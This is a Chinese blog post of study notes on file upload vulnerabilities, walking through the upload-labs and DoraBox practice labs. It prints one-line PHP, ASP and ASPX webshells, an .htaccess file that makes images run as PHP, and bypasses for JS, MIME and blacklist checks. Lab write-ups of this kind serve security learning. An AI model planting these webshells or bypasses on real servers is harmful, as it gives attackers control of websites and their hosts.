6

文件上传漏洞 学习笔记(一)

 1 year ago
source link: https://qwzf.github.io/2019/07/31/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0(%E4%B8%80)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

文件上传漏洞 学习笔记(一)

发布时间 :2019-07-31 23:01
字数:3.2k 阅读 :208

学习进行时,最近我学习了文件上传漏洞,感觉收获很大,所以总结一下。

为什么存在文件上传漏洞

上传文件时,Web应用程序没有对上传文件的格式进行严格过滤 , 就容易造成可以上传任意文件的情况。还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护。

上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞,攻击者可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器,这个恶意脚本文件,又被称为WebShell,也可以将WebShell脚本称为一种网页后门。WebShell具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

文件上传漏洞环境

upload-labs:https://github.com/c0ny1/upload-labs
皮卡丘:https://github.com/zhuifengshaonianhanlu/pikachu
DoraBox:https://github.com/gh0stkey/DoraBox

为了方便,我直接把漏洞环境部署到ubantu虚拟机了。

一、任意文件上传

DoraBox漏洞环境

没有进行任何过滤,可以上传任意文件

在这里插入图片描述
在这里插入图片描述
所以直接上传webshell(当然webshell有asp、aspx、php类型。我使用的是php)
asp
<%eval request(“xxx”)%>
js javascript复制代码

aspx

<%@ Page Languag=”xxx”%>
<%eval(Request.Item[“xxx”])%>
js javascript复制代码

php

<?php @eval($_POST['a']) ?>
php复制代码
在这里插入图片描述
在这里插入图片描述
使用菜刀或蚁剑连一下,我用的蚁剑
在这里插入图片描述
在这里插入图片描述
可以查看服务器文件和目录了
在这里插入图片描述
在这里插入图片描述
下面的绕过类型都是通过的upload-labs漏洞环境来实现

二、JS限制文件上传

Pass-01
在这里插入图片描述
在这里插入图片描述
直接上传webshell,发现上传失败,只能上传后缀为.jpg|.png|.gif的文件。
查看源码
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
js javascript复制代码

在客户端使用JS对不合法图片进行检查。所以绕过客户端JS检测,上传webshell
客户端JS检测
JS检测绕过上传漏洞,如果上传后缀不被允许,则会弹窗告知。
上传文件的数据包没有发到服务端,只在客户端使用JavaScript对数据包进行检测。
绕过客户端JS检测的三种方法

  • 使用浏览器插件。删除检测文件后缀的JS代码,然后上传webshell
  • 首先把webshell的后缀改成允许上传的.jpg|.png|.gif,绕过JS检测。再抓包,把后缀名改成.php,即可上传webshell
  • 在前端js判断函数中加上可以上传php文件

尝试第二种,先把webshell的后缀.php改为.jpg

在这里插入图片描述
在这里插入图片描述
然后上传,抓包修改后缀为.php
在这里插入图片描述
在这里插入图片描述
Forward发包,上传成功
在这里插入图片描述
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述
在这里插入图片描述
注意:测试完后删除webshell.php,因为后边我使用的都是同一个webshell(不是同一个,就不用删除)

二、MIME限制文件上传

Pass-02
在这里插入图片描述
在这里插入图片描述
直接上传webshell,发现上传失败,文件类型不正确。
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}
php复制代码

在服务端对数据包的MIME进行检查。所以绕过文件类型,上传webshell
MIME
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
绕过服务端对数据包的MIME进行检查
在客户端上传文件,通过BurpSuite抓包。

  • 上传php文件时,Content-Type的值是application/octet-stream
  • 上传jpg文件时,Content-Type的值是image/jpeg
  • 如果服务器通过Content-Type的值判断文件类型,上传php文件(webshell)时,将Content-Type的值修改为image/jpeg,即可上传php文件(webshell)。

所以上传webshell.php,抓包修改Content-Type的值为image/jpeg

在这里插入图片描述
在这里插入图片描述
Forward发包,上传成功
在这里插入图片描述
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述
在这里插入图片描述

三、黑名单限制文件上传

Apache解析

  • 有些Apache允许解析其他文件后缀。如在http.conf中,若配置有如下代码,则能解析php和phtml文件
    AddType application/x-httpd-php .php .phtml
    php复制代码
  • Apache的解析顺序是从右到左开始解析文件后缀的,如果最右侧扩展名不可识别,就继续往左判断。直到遇到可以解析的文件后缀为止
    htaccess
    htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
    绕过文件后缀的方法
    1. 上传一个后缀为phtml的webshell
    2. 上传文件名类似1.php.xxxx,因为后缀xxxx不可以解析,所以向左解析后缀.php
    3. 构造.htaccess,实现重写文件解析。
    4. 大小写绕过
    5. 在后缀名中加空绕过
    6. 在后缀名中加”.”绕过
Pass-03(上传webshell.phtml绕过)
watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNjI1OTE3,size_16,color_FFFFFF,t_70

直接上传webshell,发现上传失败。
查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
php复制代码

黑名单判断,不允许上传.asp|.aspx|.php|.jsp后缀文件。
尝试第一种方法,上传webshell.phtml

在这里插入图片描述
在这里插入图片描述
上传成功,测试连接,连接失败。。

参考大佬博客,发现没有配置添加如下代码:

AddType application/x-httpd-php .php .phtml
php复制代码

配置方法参照:
ubuntu下apache与php配置
好了,我已经配置完毕,删除之前的文件,再上传一次。测试连接,连接失败。。emmmmm。。。。
查看上传的文件

在这里插入图片描述
在这里插入图片描述
发现文件名被替换了。所以连接时文件名换一下,连接成功
在这里插入图片描述
在这里插入图片描述
Pass-04(重写文件解析绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
php复制代码

黑名单判断,不允许上传后缀文件为

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf

这样Pass-03的方法就没办法使用了。所以尝试使用方法3,构造.htaccess,实现重写文件解析。
同样这样的前提也是得在配置文件里面有这样的一句话

AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
php复制代码

因为我的配置文件没有,所以配置一下。
参考博客:
apache开启rewrite重写
.htaccess攻击
配置完毕。把SetHandler application/x-httpd-php 这句话写成.htaccess,然后上传个jpg,它就当php解析了。
.htaccess文件内容为:

<FilesMatch "webshell">
SetHandler application/x-httpd-php
</FilesMatch>
php复制代码

先上传.htaccess文件,然后上传webshell.jpg
上传成功,测试连接,连接成功

在这里插入图片描述
在这里插入图片描述
Pass-05(大小写绕过)

查看源码发现,与Pass-04相比,多了不允许上传后缀文件.htaccess,但是没有将后缀进行大小写统一,于是可以通过大小写绕过。
上传webshell.phP,上传成功。测试连接,连接失败。查看文件,发现文件名被替换

在这里插入图片描述
在这里插入图片描述
重新输入文件名,测试连接,连接成功
在这里插入图片描述
在这里插入图片描述
Pass-06(加空格绕过)

查看源码发现还是黑名单,但是没有对后缀名进行去空处理,可在后缀名中加空绕过。
上传webshell.php,抓包,加空格

在这里插入图片描述
在这里插入图片描述
上传成功。查看上传的文件名
在这里插入图片描述
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述
在这里插入图片描述
Pass-07(加.绕过)

还是黑名单,禁止上传所有可以解析的后缀。
但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过。
上传webshell.php,抓包,加.

在这里插入图片描述
在这里插入图片描述
上传成功。测试连接,连接成功
在这里插入图片描述
在这里插入图片描述
Pass-08(加::$DATA绕过)

还是黑名单,但是没有对后缀名进行去”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过。
上传webshell.php,抓包,加::$DATA

在这里插入图片描述
在这里插入图片描述
上传成功。测试连接,连接失败。因为我用的ubantu,所以用Windows执行上述操作就ok了,就不叙述了。
Pass-09(点+空格+点绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
php复制代码

还是黑名单,但是第15行和之前不太一样,路径拼接的是处理后的文件名。
str_replace先删除一个点,再删除一个空格。
点+空格+点,经过处理后,文件名变成webshell.php.,即可绕过。

在这里插入图片描述
在这里插入图片描述
上传成功。测试连接,连接成功
在这里插入图片描述
在这里插入图片描述
Pass-10(双写绕过)

查看源码发现关键代码

$file_name = trim($_FILES['upload_file']['name']);//定义name
$file_name = str_ireplace($deny_ext,"", $file_name);//替换上面的php这些为空
php复制代码

将问题后缀名替换为空,于是可以利用双写绕过。
上传webshell.php,抓包,双写

在这里插入图片描述
在这里插入图片描述
上传成功。测试连接,连接成功
在这里插入图片描述
在这里插入图片描述
好了,就先总结这么多,剩下的另一篇《文件上传漏洞 学习笔记(二)》进行总结。

文件上传漏洞总结之后,对文件上传漏洞理解了很多,也收获了很多。
继续努力学习。小白进阶ing


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK